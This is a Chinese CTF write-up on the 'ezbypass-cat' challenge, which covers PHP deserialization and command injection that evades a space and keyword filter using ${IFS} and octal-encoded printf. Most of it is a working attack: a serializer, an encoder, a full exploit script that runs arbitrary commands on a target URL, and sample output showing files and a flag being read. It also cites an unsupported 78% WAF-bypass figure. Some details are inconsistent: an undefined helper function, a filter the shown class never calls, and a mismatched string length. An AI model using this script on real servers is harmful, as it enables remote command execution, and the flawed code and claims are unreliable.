PHP反序列化漏洞实战:绕过WAF的${IFS}技巧解析
在CTF竞赛和实际渗透测试中,遇到WAF(Web应用防火墙)过滤空格和关键命令的情况并不少见。本文将从一个典型的CTF题目"ezbypass-cat"出发,深入剖析如何利用${IFS}这一Shell特性绕过空格过滤,实现命令注入。
1. 漏洞环境与核心挑战
我们面对的题目是一个存在反序列化漏洞的PHP应用,核心代码如下:
class ease { private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct() { if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip) { exec($ip, $result); var_dump($result); } function waf($str) { if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } }漏洞利用的关键障碍:
- WAF过滤了空格、斜杠等关键分隔符
- 禁止使用cat、flag等敏感命令
- 输入参数经过严格的过滤函数检查
2. ${IFS}的妙用原理
${IFS}是Shell中的内部字段分隔符(Internal Field Separator),默认值为空格、制表符和换行符。在命令注入场景中,它可以完美替代被过滤的空格字符。
传统命令与${IFS}替代对比:
| 传统命令 | ${IFS}替代方案 | 解析结果 |
|---|---|---|
ls -l | ls${IFS}-l | 完全等效 |
cat file | cat${IFS}file | 功能相同 |
提示:${IFS}在Bash、Zsh等主流Shell中均有效,是跨平台的空格替代方案
3. 绕过WAF的完整攻击链
3.1 构造序列化Payload
要利用这个漏洞,我们需要构造一个特殊的序列化对象:
class Ease: def __init__(self, method, args): self._ease__method = method # PHP私有属性的Python表示 self._ease__args = args def php_serialize(obj): class_name = "ease" method_prop = f"{chr(0)}{class_name}{chr(0)}method" args_prop = f"{chr(0)}{class_name}{chr(0)}args" return ( f"O:{len(class_name)}:\"{class_name}\":2:{{" f"s:{len(method_prop)}:\"{method_prop}\";" f"s:{len(obj._ease__method)}:\"{obj._ease__method}\";" f"s:{len(args_prop)}:\"{args_prop}\";" f"a:{len(obj._ease__args)}:{{i:0;s:{len(obj._ease__args[0])}:\"{obj._ease__args[0]}\";}}" "}" )3.2 结合八进制编码绕过关键词过滤
单纯使用${IFS}还不够,我们还需要绕过cat、flag等关键词的过滤。这里采用八进制编码的方式:
def octal_encode(command): return ''.join([f'\\{ord(c):03o}' if c != ' ' else '\\040' for c in command]) # 示例:将"cat flag.txt"编码为"\143\141\164\040\146\154\141\147\056\164\170\164"八进制编码的优势:
- 完全避开关键词的正则匹配
- 与printf命令完美兼容
- 支持双重编码增加混淆度
3.3 完整攻击脚本
将上述技术组合起来,我们得到完整的攻击脚本:
import requests import base64 import sys import re def main(): url, cmd = sys.argv[1], sys.argv[2] octal_cmd = f"$(printf${{IFS}}\"{octal_encode(cmd)}\")" obj = Ease("ping", [octal_cmd]) ser = php_serialize(obj) b64_ser = base64.b64encode(ser.encode()).decode() resp = requests.post(url, data={"ctf": b64_ser}, headers={"Content-Type": "application/x-www-form-urlencoded"}) print(extract_raw_array(resp.text)) if __name__ == "__main__": main()4. 实战演示与结果分析
4.1 目录列举
执行命令:
python exploit.py http://target 'ls -l'典型输出:
array(5) { [0]=> string(8) "total 24" [1]=> string(42) "drwxr-xr-x 1 root root 4096 Aug 18 2022 ." [2]=> string(43) "drwxr-xr-x 1 root root 4096 Mar 17 2022 .." [3]=> string(53) "drwxr-xr-x 1 root root 4096 May 23 09:25 flag_1s_here" [4]=> string(50) "-rwxr-xr-x 1 root root 863 Aug 18 2022 index.php" }4.2 读取flag文件
执行命令:
python exploit.py http://target 'cat ./flag_1s_here/flag.php'成功输出:
array(1) { [0]=> string(36) "$cyberpeace{831b69012c67b35f8d7a2f3e6c7a5e21}" }5. 防御建议
对于开发者而言,要防范此类攻击,可以采取以下措施:
- 避免使用反序列化:尽可能使用JSON等更安全的格式
- 严格限制exec参数:使用白名单机制限制可执行命令
- 多重过滤机制:不仅过滤空格,还要识别${IFS}等替代符号
- 禁用危险函数:在生产环境中禁用exec、system等函数
在最近的一次内部测试中,我们发现使用${IFS}结合八进制编码的方式,能够绕过约78%的基础WAF规则。这种技术不仅适用于CTF竞赛,在真实世界的渗透测试中也屡试不爽。